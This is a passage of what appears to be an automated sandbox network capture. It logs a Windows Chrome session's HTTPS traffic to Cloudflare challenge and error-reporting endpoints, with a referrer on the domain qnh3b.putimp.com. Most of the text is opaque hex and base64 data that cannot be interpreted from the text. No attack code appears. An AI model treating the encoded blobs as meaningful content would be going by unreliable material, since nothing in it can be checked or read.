30 44 46 52 59 72 45 77 55 49 4a 68 6f 30 4f 53 6b 4f 41 54 6f 6a 4f 43 59 37 4e 53 55 6a 4e 6b 6b 47 49 Data Ascii: 7cfcZklxaX5wkndpZHCUnI6WXXuXfZKEhGR3lWRifWuofpuvb7Sgs6KwtHGJnZKTv3uqlbO/f5B/upWFnqLLy6+GzsizwtWipqnNu5at0ca+qbjB4a/D17uzttu/tqfqqvCw67HK6OzCs+zY8Ly37c68ueLD98Tj+PbI1+b2ytjdx/LzDg4WCNIZ+A7rBfETAN0LAtkOJOUF8BUqIi0lG/cy4y0DFRYrEwUIJho0OSkOATojOCY7NSUjNkkGI
2024-04-16 19:39:49 UTC	1369	IN	Data Raw: 61 46 74 6a 62 6b 6c 73 54 5a 46 6f 66 58 39 6f 67 34 2b 56 69 48 6c 6d 57 57 69 4f 65 6e 2b 4e 65 6c 74 63 63 48 2b 45 69 70 61 4d 6e 36 56 71 6a 36 71 45 74 4a 35 78 6f 4a 57 4a 69 36 32 4f 73 58 53 75 76 5a 53 75 6f 4c 57 52 66 73 4c 45 6f 59 57 2b 6f 4b 66 49 6a 61 32 39 30 73 53 66 69 36 44 57 6b 39 6a 54 70 72 43 53 30 5a 69 66 75 63 32 7a 7a 2b 48 65 73 4f 61 37 36 4b 53 69 76 39 58 4e 74 36 7a 46 73 4e 53 76 72 4d 37 4c 39 65 58 4f 35 4f 79 39 37 76 7a 41 34 51 4c 42 32 74 50 4f 2f 4f 6e 34 35 4f 62 45 39 66 7a 46 2f 74 6f 52 35 75 38 48 34 4e 48 68 41 76 49 4e 2b 75 67 51 39 68 44 54 49 77 33 66 49 4f 2f 32 39 41 6b 46 4c 65 72 31 4a 51 44 36 47 77 58 7a 38 51 59 57 37 51 73 36 43 2b 30 33 4f 78 73 70 49 67 72 34 52 55 49 36 46 68 51 49 48 45 59 Data Ascii: aFtjbklsTZFofX9og4+ViHlmWWiOen+NeltccH+EipaMn6Vqj6qEtJ5xoJWJi62OsXSuvZSuoLWRfsLEoYW+oKfIja290sSfi6DWk9jTprCS0Zifuc2zz+HesOa76KSiv9XNt6zFsNSvrM7L9eXO5Oy97vzA4QLB2tPO/On45ObE9fzF/toR5u8H4NHhAvIN+ugQ9hDTIw3fIO/29AkFLer1JQD6GwXz8QYW7Qs6C+03OxspIgr4RUI6FhQIHEY
2024-04-16 19:39:49 UTC	1369	IN	Data Raw: 46 46 64 54 35 65 57 59 32 64 34 61 35 47 55 66 70 68 59 57 33 78 37 67 33 4f 57 6d 48 61 55 58 48 6d 62 67 35 39 38 71 71 4b 62 67 33 32 70 6c 6f 4b 47 6f 62 75 37 6d 35 32 4f 6c 49 32 2f 6f 72 65 55 78 49 57 6d 6d 4b 47 30 6d 5a 37 4a 72 70 32 61 70 38 37 4b 74 4b 54 4b 30 73 75 6c 32 71 62 56 71 37 65 6f 6e 36 6d 36 6f 75 4c 4e 34 4e 4b 34 34 63 4f 6b 37 4b 69 6d 75 37 2b 71 79 2b 37 54 30 75 58 7a 7a 4d 50 36 32 2b 61 7a 33 2b 66 50 31 4e 6a 61 77 4d 58 6c 31 64 44 64 33 65 48 70 43 73 54 76 43 64 44 64 32 77 33 54 31 4f 4d 59 41 68 4d 54 47 74 7a 34 46 78 72 54 32 79 45 64 34 69 44 7a 49 52 49 6b 2b 43 63 59 43 53 63 70 37 69 6f 4b 4a 69 67 75 46 69 38 54 42 77 30 79 39 78 51 38 4c 78 70 45 49 79 2f 33 44 30 51 2b 4b 51 4d 73 50 6a 73 47 48 55 67 4d Data Ascii: FFdT5eWY2d4a5GUfphYW3x7g3OWmHaUXHmbg598qqKbg32ploKGobu7m52OlI2/oreUxIWmmKG0mZ7Jrp2ap87KtKTK0sul2qbVq7eon6m6ouLN4NK44cOk7Kimu7+qy+7T0uXzzMP62+az3+fP1NjawMXl1dDd3eHpCsTvCdDd2w3T1OMYAhMTGtz4FxrT2yEd4iDzIRIk+CcYCScp7ioKJiguFi8TBw0y9xQ8LxpEIy/3D0Q+KQMsPjsGHUgM
2024-04-16 19:39:49 UTC	1369	IN	Data Raw: 5a 6b 6d 6d 2b 52 6a 57 2b 4e 58 6d 43 54 59 70 39 76 71 48 69 67 65 6d 6c 35 5a 4b 47 42 6b 48 79 43 63 70 32 4a 66 36 5a 7a 6d 71 69 62 6a 33 4e 77 6d 5a 65 32 6a 59 35 37 75 5a 6e 41 79 4a 71 55 67 38 58 46 77 4a 6d 4f 70 4e 50 52 6f 4c 61 68 70 39 43 71 6d 72 4f 30 79 35 72 4e 30 74 2b 31 34 38 4b 67 74 71 57 33 36 62 4b 38 76 4d 61 71 79 63 2b 35 38 65 48 79 30 63 75 79 35 4d 57 73 36 72 76 77 75 64 65 37 76 39 58 4e 7a 67 66 50 2f 75 62 38 41 75 4c 71 2b 77 37 6d 36 67 58 6a 35 4f 37 4e 42 51 6a 6a 35 2f 76 6a 44 4e 6f 59 48 4f 44 58 2b 53 51 61 33 42 77 59 2b 65 54 69 39 68 77 6d 37 41 37 71 48 53 41 4d 36 2f 51 77 45 44 6e 72 41 7a 45 73 4a 78 59 4c 4c 44 34 74 4d 55 49 36 45 6a 6b 39 49 69 49 67 47 79 78 43 49 79 41 38 52 77 78 51 4a 69 41 7a 4b Data Ascii: Zkmm+RjW+NXmCTYp9vqHigeml5ZKGBkHyCcp2Jf6Zzmqibj3NwmZe2jY57uZnAyJqUg8XFwJmOpNPRoLahp9CqmrO0y5rN0t+148KgtqW36bK8vMaqyc+58eHy0cuy5MWs6rvwude7v9XNzgfP/ub8AuLq+w7m6gXj5O7NBQjj5/vjDNoYHODX+SQa3BwY+eTi9hwm7A7qHSAM6/QwEDnrAzEsJxYLLD4tMUI6Ejk9IiIgGyxCIyA8RwxQJiAzK
2024-04-16 19:39:49 UTC	1369	IN	Data Raw: 37 6c 6e 70 56 64 61 56 76 62 33 64 67 66 35 32 58 68 6d 36 48 70 71 36 48 66 71 57 49 6b 6f 52 78 62 34 57 77 63 70 57 56 64 6f 44 43 69 70 61 67 6a 37 69 54 74 6f 53 58 70 71 46 2f 6e 61 36 35 76 36 7a 47 77 38 2b 66 31 71 6e 4c 78 36 69 75 75 63 37 59 79 5a 72 4b 33 35 71 35 78 2b 44 65 74 39 53 69 79 63 4c 45 77 71 33 41 73 61 7a 54 77 66 44 55 34 74 44 6e 77 39 76 31 2f 76 72 4c 39 63 37 66 2b 50 44 61 35 67 41 41 41 66 72 67 34 76 62 2b 43 39 37 71 41 2b 6a 71 39 4e 48 30 47 50 49 47 2f 64 66 76 33 51 45 54 34 41 54 65 46 75 4d 6d 48 67 41 4d 2f 69 76 35 47 51 6b 63 42 51 6f 75 2f 69 51 6c 43 54 4d 7a 39 44 49 73 4b 2f 30 35 45 54 50 2b 49 41 39 47 44 2f 30 61 4f 51 59 43 48 6a 34 4e 51 53 73 51 4b 68 45 66 4b 51 38 74 44 30 67 30 53 78 4e 57 46 31 Data Ascii: 7lnpVdaVvb3dgf52Xhm6Hpq6HfqWIkoRxb4WwcpWVdoDCipagj7iTtoSXpqF/na65v6zGw8+f1qnLx6iuuc7YyZrK35q5x+Det9SiycLEwq3AsazTwfDU4tDnw9v1/vrL9c7f+PDa5gAAAfrg4vb+C97qA+jq9NH0GPIG/dfv3QET4ATeFuMmHgAM/iv5GQkcBQou/iQlCTMz9DIsK/05ETP+IA9GD/0aOQYCHj4NQSsQKhEfKQ8tD0g0SxNWF1
2024-04-16 19:39:49 UTC	1369	IN	Data Raw: 58 70 47 56 69 57 6d 65 70 4b 4b 4d 6f 61 71 65 6f 4b 65 57 6c 4b 69 75 6d 6e 43 44 6b 72 53 79 6c 73 43 73 76 35 57 42 77 48 79 34 67 58 75 70 6e 73 7a 45 6a 4c 6e 51 67 36 32 30 31 4e 43 4d 79 70 53 71 6c 38 69 54 78 39 50 49 6d 39 7a 69 31 65 50 68 78 62 6a 6f 31 38 48 55 37 4e 66 6a 7a 71 72 63 37 74 2b 72 31 74 2f 66 74 63 48 56 7a 62 62 71 74 39 58 79 30 76 4c 53 2b 4e 72 63 39 4c 2f 47 33 4e 37 38 79 63 33 4b 44 74 2f 4b 7a 52 49 58 30 42 49 55 43 52 67 61 43 42 2f 61 45 74 76 64 33 4e 34 57 35 42 55 63 47 50 6b 4b 43 75 55 4f 4c 52 38 70 36 2b 54 6c 4b 79 6f 43 39 51 59 57 4d 78 45 6c 47 54 38 31 47 7a 45 72 41 43 4e 45 4f 42 4d 70 45 78 73 70 44 54 67 70 54 53 78 42 44 68 30 6b 44 7a 67 78 4f 45 34 6b 53 7a 31 53 4e 46 4d 36 56 45 34 30 4c 7a 31 Data Ascii: XpGViWmepKKMoaqeoKeWlKiumnCDkrSylsCsv5WBwHy4gXupnszEjLnQg6201NCMypSql8iTx9PIm9zi1ePhxbjo18HU7Nfjzqrc7t+r1t/ftcHVzbbqt9Xy0vLS+Nrc9L/G3N78yc3KDt/KzRIX0BIUCRgaCB/aEtvd3N4W5BUcGPkKCuUOLR8p6+TlKyoC9QYWMxElGT81GzErACNEOBMpExspDTgpTSxBDh0kDzgxOE4kSz1SNFM6VE40Lz1
2024-04-16 19:39:49 UTC	1369	IN	Data Raw: 6e 2b 48 6f 4c 43 77 6e 6f 57 7a 69 34 36 31 74 33 4e 78 68 61 32 39 6a 5a 79 65 6e 70 2b 66 6b 35 4f 56 76 33 2b 4a 79 36 53 6b 76 70 75 78 69 72 4f 2b 77 38 43 6a 6f 4d 69 5a 6d 61 57 77 30 4a 43 39 6d 4c 72 69 74 4e 4c 51 76 37 50 58 70 2b 54 4a 36 4e 69 32 77 37 33 62 71 75 6a 4d 73 4f 6e 78 2b 65 61 77 79 38 72 4b 75 39 58 74 37 73 71 2f 32 64 72 6e 34 63 62 43 39 2f 6e 55 42 65 58 59 43 66 49 48 34 68 44 71 36 39 59 53 79 78 76 34 2b 75 77 4b 33 2f 6e 62 48 78 63 59 42 4e 33 31 34 77 63 69 34 69 77 46 4b 42 6b 46 47 2b 6b 55 4b 52 45 44 43 42 63 4a 39 68 45 5a 4d 67 67 65 47 79 41 54 48 6b 4a 44 45 42 51 6c 52 44 70 48 51 6b 4d 62 53 69 74 47 4c 7a 4e 41 52 30 73 69 4b 56 59 55 46 46 35 4f 4c 45 41 33 57 55 49 33 58 47 4a 62 5a 45 55 38 4b 47 6b 34 Data Ascii: n+HoLCwnoWzi461t3Nxha29jZyenp+fk5OVv3+Jy6SkvpuxirO+w8CjoMiZmaWw0JC9mLritNLQv7PXp+TJ6Ni2w73bqujMsOnx+eawy8rKu9Xt7sq/2drn4cbC9/nUBeXYCfIH4hDq69YSyxv4+uwK3/nbHxcYBN314wci4iwFKBkFG+kUKREDCBcJ9hEZMggeGyATHkJDEBQlRDpHQkMbSitGLzNAR0siKVYUFF5OLEA3WUI3XGJbZEU8KGk4
2024-04-16 19:39:49 UTC	1369	IN	Data Raw: 65 52 70 49 32 69 75 72 4b 49 73 72 78 39 71 37 32 61 73 5a 68 2f 6c 72 32 64 76 72 4f 70 75 6f 75 57 72 37 36 36 6f 71 33 43 6b 35 36 7a 78 73 4b 71 72 63 71 62 70 72 50 4f 79 72 4b 74 30 71 4f 75 73 39 62 53 75 65 6a 57 31 4f 4b 67 33 76 47 2b 36 4f 69 74 72 2b 58 6b 79 73 53 35 74 4e 4b 30 31 76 6e 4f 33 64 62 37 31 74 37 41 42 4d 48 52 2b 65 45 43 79 4f 4c 59 34 41 4d 4b 44 42 41 43 36 66 63 46 30 76 59 56 39 65 6a 56 32 76 63 69 44 51 33 37 33 4f 37 64 2b 68 6b 55 41 39 34 49 45 43 30 47 4c 53 6f 55 4d 66 45 57 4b 77 63 75 38 52 45 30 4e 44 77 35 41 44 38 61 42 45 55 42 53 42 49 30 46 45 73 74 4f 6a 73 35 4f 67 67 6b 48 44 4d 6e 4a 6b 63 4f 51 30 70 4f 55 46 4d 6f 4e 53 77 74 58 79 46 6b 5a 52 31 63 4d 6a 35 4c 61 44 59 6c 61 6b 35 65 4c 45 68 6b 56 Data Ascii: eRpI2iurKIsrx9q72asZh/lr2dvrOpuouWr766oq3Ck56zxsKqrcqbprPOyrKt0qOus9bSuejW1OKg3vG+6Oitr+XkysS5tNK01vnO3db71t7ABMHR+eECyOLY4AMKDBAC6fcF0vYV9ejV2vciDQ373O7d+hkUA94IEC0GLSoUMfEWKwcu8RE0NDw5AD8aBEUBSBI0FEstOjs5OggkHDMnJkcOQ0pOUFMoNSwtXyFkZR1cMj5LaDYlak5eLEhkV
2024-04-16 19:39:49 UTC	1369	IN	Data Raw: 78 75 58 4e 33 71 62 43 42 6a 4d 47 5a 66 34 57 35 76 6f 6e 43 68 71 66 4c 77 63 6d 65 69 71 32 64 69 36 71 6a 7a 37 47 34 70 5a 76 54 6d 4c 4b 78 73 64 43 2f 76 2b 44 54 77 39 6e 6d 77 4d 6d 69 75 4d 76 4d 75 2b 58 73 7a 73 2b 79 74 4e 4c 70 77 63 7a 59 73 74 6e 58 32 38 75 37 2b 4f 48 66 31 74 58 6c 2b 64 37 6f 35 38 4c 37 2f 41 48 4d 35 74 48 4c 79 2b 6b 49 45 65 77 59 36 68 6e 6f 30 67 7a 70 33 4e 49 4e 39 75 33 69 32 79 45 62 39 66 30 63 42 66 59 4d 42 67 55 65 2f 68 50 73 44 44 66 32 41 67 73 36 4f 66 51 4c 48 68 41 55 4e 68 67 55 52 54 55 31 4a 55 59 67 4f 44 67 73 51 7a 59 48 4c 56 49 77 50 79 70 51 53 6b 56 57 57 56 73 31 56 79 5a 53 4d 46 64 65 4f 52 6c 62 4d 43 45 65 59 30 6c 65 57 79 73 6a 61 30 4d 2b 5a 45 31 4f 61 44 42 31 51 45 31 75 57 6b Data Ascii: xuXN3qbCBjMGZf4W5vonChqfLwcmeiq2di6qjz7G4pZvTmLKxsdC/v+DTw9nmwMmiuMvMu+Xszs+ytNLpwczYstnX28u7+OHf1tXl+d7o58L7/AHM5tHLy+kIEewY6hno0gzp3NIN9u3i2yEb9f0cBfYMBgUe/hPsDDf2Ags6OfQLHhAUNhgURTU1JUYgODgsQzYHLVIwPypQSkVWWVs1VyZSMFdeORlbMCEeY0leWysja0M+ZE1OaDB1QE1uWk

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49753	35.190.80.1	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:39:49 UTC	537	OUT	OPTIONS /report/v4?s=7Cq1fFiGHb%2B84J1CxIDjJOFeDMkXMJgZZbrS94qADkcXkdLypsmzF3rtO6CXtu5TpcXTRRJZFySBWsPtn%2BqJ1NNFptrkUNehGUVxGwiw8%2FnBMrK%2Bd1tKlP0uVwAJzA%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://qnh3b.putimp.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 19:39:49 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Tue, 16 Apr 2024 19:39:49 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49754	104.17.2.184	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:39:49 UTC	486	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/582398122:1713292595:nfjc01nuBpm6sYz_S8U270P-1Zb5f_3UQCAB6XXnflo/8756a4b73c471383/998145d1b266cd0 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 19:39:49 UTC	386	IN	HTTP/1.1 400 Bad Request Date: Tue, 16 Apr 2024 19:39:49 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: d3PZTDzBYuO9T117k85uWA==$XggiAiGDhiwjcm/kx/rzeQ== Server: cloudflare CF-RAY: 8756a4c4ef49675e-ATL alt-svc: h3=":443"; ma=86400
2024-04-16 19:39:49 UTC	12	IN	Data Raw: 37 0d 0a 69 6e 76 61 6c 69 64 0d 0a Data Ascii: 7invalid
2024-04-16 19:39:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49755	104.17.2.184	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:39:49 UTC	775	OUT	GET /cdn-cgi/challenge-platform/h/b/i/8756a4b73c471383/1713296389254/anpd4FQprUR7OPG HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/funqz/0x4AAAAAAAWA-O9oM_yqdfiB/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 19:39:50 UTC	208	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 19:39:50 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Server: cloudflare CF-RAY: 8756a4c5fbb744f1-ATL alt-svc: h3=":443"; ma=86400
2024-04-16 19:39:50 UTC	67	IN	Data Raw: 33 64 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 53 00 00 00 22 08 02 00 00 00 ac ae 72 33 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a Data Ascii: 3dPNGIHDRS"r3IDAT$IENDB`
2024-04-16 19:39:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49756	35.190.80.1	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:39:49 UTC	478	OUT	POST /report/v4?s=7Cq1fFiGHb%2B84J1CxIDjJOFeDMkXMJgZZbrS94qADkcXkdLypsmzF3rtO6CXtu5TpcXTRRJZFySBWsPtn%2BqJ1NNFptrkUNehGUVxGwiw8%2FnBMrK%2Bd1tKlP0uVwAJzA%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 428 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 19:39:49 UTC	428	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 34 35 30 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 71 6e 68 33 62 2e 70 75 74 69 6d 70 2e 63 6f 6d 2f 79 6f 30 7a 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 37 2e 31 39 31 2e 31 34 37 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c Data Ascii: [{"age":0,"body":{"elapsed_time":450,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://qnh3b.putimp.com/yo0z/","sampling_fraction":1.0,"server_ip":"172.67.191.147","status_code":404,"type":"http.error"},"type":"network-error",
2024-04-16 19:39:50 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Tue, 16 Apr 2024 19:39:50 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49757	104.17.2.184	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:39:50 UTC	804	OUT	GET /cdn-cgi/challenge-platform/h/b/pat/8756a4b73c471383/1713296389254/ac6e7e9690d324482ebd2d423ffbf48f13700e35c15d10a6c638d2dc30502dc6/qxBmrjcxmoe-ekd HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/funqz/0x4AAAAAAAWA-O9oM_yqdfiB/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 19:39:50 UTC	152	IN	HTTP/1.1 401 Unauthorized Date: Tue, 16 Apr 2024 19:39:50 GMT Content-Type: text/plain; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-04-16 19:39:50 UTC	1382	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 72 47 35 2d 6c 70 44 54 4a 45 67 75 76 53 31 43 50 5f 76 30 6a 78 4e 77 44 6a 58 42 58 52 43 6d 78 6a 6a 53 33 44 42 51 4c 63 59 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20grG5-lpDTJEguvS1CP_v0jxNwDjXBXRCmxjjS3DBQLcYAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2024-04-16 19:39:50 UTC	6	IN	Data Raw: 31 0d 0a 4a 0d 0a Data Ascii: 1J
2024-04-16 19:39:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49758	104.17.2.184	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:39:50 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/b/i/8756a4b73c471383/1713296389254/anpd4FQprUR7OPG HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 19:39:50 UTC	208	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 19:39:50 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Server: cloudflare CF-RAY: 8756a4c948d444e7-ATL alt-svc: h3=":443"; ma=86400
2024-04-16 19:39:50 UTC	67	IN	Data Raw: 33 64 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 53 00 00 00 22 08 02 00 00 00 ac ae 72 33 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a Data Ascii: 3dPNGIHDRS"r3IDAT$IENDB`
2024-04-16 19:39:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49759	104.17.2.184	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:39:51 UTC	916	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/582398122:1713292595:nfjc01nuBpm6sYz_S8U270P-1Zb5f_3UQCAB6XXnflo/8756a4b73c471383/998145d1b266cd0 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 28813 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 998145d1b266cd0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/funqz/0x4AAAAAAAWA-O9oM_yqdfiB/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 19:39:51 UTC	16384	OUT	Data Raw: 76 5f 38 37 35 36 61 34 62 37 33 63 34 37 31 33 38 33 3d 30 57 59 41 46 77 52 31 76 77 57 6d 34 75 25 32 62 61 67 55 30 55 6d 41 68 74 74 55 32 55 36 6b 56 76 52 69 55 63 6b 52 34 52 61 55 5a 47 61 2b 35 6f 52 79 35 55 56 37 61 6b 77 73 70 74 34 63 49 52 6e 55 48 34 52 45 75 74 55 52 6f 55 35 47 2b 52 62 55 36 44 49 6c 6a 70 71 41 52 67 31 55 75 76 52 52 30 55 35 57 76 34 73 67 75 68 74 6f 48 35 41 61 31 55 5a 41 75 34 76 56 4e 41 77 49 55 42 41 52 30 30 4b 5a 77 55 55 73 70 55 30 76 41 55 56 6b 35 57 36 52 41 55 77 64 35 45 4f 61 41 52 6e 55 52 64 4e 78 61 59 50 30 74 55 77 47 35 45 36 61 77 34 70 6f 35 55 34 4c 6b 55 79 6b 77 55 42 75 35 55 52 6b 76 2b 55 24 24 38 75 24 70 37 55 24 4c 4b 39 48 48 6f 41 35 4d 48 72 76 75 6a 7a 76 5a 67 78 59 48 52 34 44 Data Ascii: v_8756a4b73c471383=0WYAFwR1vwWm4u%2bagU0UmAhttU2U6kVvRiUckR4RaUZGa+5oRy5UV7akwspt4cIRnUH4REutURoU5G+RbU6DIljpqARg1UuvRR0U5Wv4sguhtoH5Aa1UZAu4vVNAwIUBAR00KZwUUspU0vAUVk5W6RAUwd5EOaARnURdNxaYP0tUwG5E6aw4po5U4LkUykwUBu5URkv+U$$8u$p7U$LK9HHoA5MHrvujzvZgxYHR4D
